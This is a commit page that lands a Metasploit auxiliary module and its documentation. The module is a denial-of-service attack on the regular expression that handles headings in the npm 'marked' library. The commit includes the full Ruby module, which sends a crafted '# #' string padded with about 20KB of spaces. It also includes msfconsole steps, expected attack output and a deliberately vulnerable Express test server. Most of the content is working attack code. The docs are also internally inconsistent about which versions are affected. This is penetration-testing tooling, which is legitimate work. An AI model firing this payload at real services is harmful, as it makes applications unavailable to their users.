Land #10120, npm "marked" ReDoS module
parent
5094040242
commit
e1097f7e38
|
@ -0,0 +1,84 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
|
||||
in the npm module `marked`. The vulnerable regex is in the "heading" processing.
|
||||
Versions before 0.3.19 are vulnerable.
|
||||
Any application that uses a vulnerable version of this module and passes untrusted input
|
||||
to the module will be vulnerable.
|
||||
|
||||
## How to Install
|
||||
|
||||
To install a vulnerable version of `marked`, run:
|
||||
```
|
||||
npm i marked@0.3.19
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Create a new directory for test application.
|
||||
2. Copy below example server into test application directory as `server.js`.
|
||||
3. Run `npm i express` to install express in the test application directory.
|
||||
4. To test vulnerable versions of the module, run `npm i marked@0.3.19` to install a vulnerable version of marked.
|
||||
5. To test non-vulnerable versions of the module, run `npm i marked` to install the latest version of marked.
|
||||
6. Once all dependencies are installed, run the server with `node server.js`.
|
||||
7. Open up a new terminal.
|
||||
8. Start msfconsole.
|
||||
9. `use auxiliary/dos/http/marked_redos`.
|
||||
10. `set RHOST [IP]`.
|
||||
11. `set HTTP_METHOD get` (optional)
|
||||
12. `set HTTP_PARAMETER foo` (required)
|
||||
13. `set URI /path/to/vulnerable/route` (optional)
|
||||
14. `run`.
|
||||
15. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
|
||||
16. In non-vulnerable installations, module should have negative output and the test application should accept further requests.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### marked npm module version 0.3.19
|
||||
|
||||
Expected output for successful exploitation:
|
||||
|
||||
```
|
||||
[*] Testing Service to make sure it is working.
|
||||
[*] Test request successful, attempting to send payload
|
||||
[*] Sending ReDoS request to 192.168.3.24:3000.
|
||||
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
|
||||
[*] Testing for service unresponsiveness.
|
||||
[+] Service not responding.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Example Vulnerable Application
|
||||
|
||||
```
|
||||
// npm i express body-parser
|
||||
// npm i marked@0.3.19 (vulnerable)
|
||||
// npm i marked (non-vulnerable)
|
||||
|
||||
const marked = require('marked');
|
||||
const express = require('express');
|
||||
const bodyParser = require('body-parser');
|
||||
|
||||
var app = express();
|
||||
app.use(bodyParser.text({ type: 'text/html' }));
|
||||
|
||||
// create application/json parser
|
||||
const jsonParser = bodyParser.json();
|
||||
|
||||
// create application/x-www-form-urlencoded parser
|
||||
const urlencodedParser = bodyParser.urlencoded({ extended: false });
|
||||
|
||||
app.get("/", urlencodedParser, function(req, res) {
|
||||
var result = req.query.foo ? marked(req.query.foo) : 'nothing';
|
||||
res.end(result);
|
||||
});
|
||||
|
||||
app.post("/cat", urlencodedParser, function(req, res) {
|
||||
var result = req.body.bar ? marked(req.body.bar) : 'nothing'
|
||||
res.end(result);
|
||||
});
|
||||
|
||||
app.listen(3000, '0.0.0.0', function() { console.log('Application listening on port 3000 on all interfaces!'); });
|
||||
```
|
|
@ -0,0 +1,117 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'marked npm module "heading" ReDoS',
|
||||
'Description' => %q{
|
||||
This module exploits a Regular Expression Denial of Service vulnerability
|
||||
in the npm module "marked". The vulnerable portion of code that this module
|
||||
targets is in the "heading" regular expression. Web applications that use
|
||||
"marked" for generating html from markdown are vulnerable. Versions up to
|
||||
0.4.0 are vulnerable.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://blog.sonatype.com/cve-2017-17461-vulnerable-or-not'],
|
||||
['CWE', '400']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Adam Cazzolla, Sonatype Security Research',
|
||||
'Nick Starke, Sonatype Security Research'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(80),
|
||||
OptString.new('HTTP_METHOD', [true, 'The default HTTP Verb to use', 'GET']),
|
||||
OptString.new('HTTP_PARAMETER', [true, 'The vulnerable HTTP parameters', '']),
|
||||
OptString.new('TARGETURI', [true, 'The URL Path to use', '/'])
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
if test_service
|
||||
trigger_redos
|
||||
test_service_unresponsive
|
||||
else
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
|
||||
end
|
||||
end
|
||||
|
||||
def trigger_redos
|
||||
begin
|
||||
print_status("Sending ReDoS request to #{peer}.")
|
||||
|
||||
params = {
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => datastore['HTTP_METHOD'],
|
||||
("vars_#{datastore['HTTP_METHOD'].downcase}") => {
|
||||
datastore['HTTP_PARAMETER'] => "# #" + (" " * 20 * 1024) + Rex::Text.rand_text_alpha(1)
|
||||
}
|
||||
}
|
||||
|
||||
res = send_request_cgi(params)
|
||||
|
||||
if res
|
||||
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
|
||||
end
|
||||
|
||||
print_status("No response received from #{peer}, service is most likely unresponsive.")
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error("Unable to connect to #{peer}.")
|
||||
rescue ::Timeout::Error
|
||||
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
|
||||
end
|
||||
end
|
||||
|
||||
def test_service_unresponsive
|
||||
begin
|
||||
print_status('Testing for service unresponsiveness.')
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/' + Rex::Text.rand_text_alpha(8),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
print_good('Service not responding.')
|
||||
else
|
||||
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error('An unknown error occurred.')
|
||||
rescue ::Timeout::Error
|
||||
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
|
||||
end
|
||||
end
|
||||
|
||||
def test_service
|
||||
begin
|
||||
print_status('Testing Service to make sure it is working.')
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/' + Rex::Text.rand_text_alpha(8),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && res.code >= 100 && res.code < 500
|
||||
print_status("Test request successful, attempting to send payload. Server returned #{res.code}")
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error("Unable to connect to #{peer}.")
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue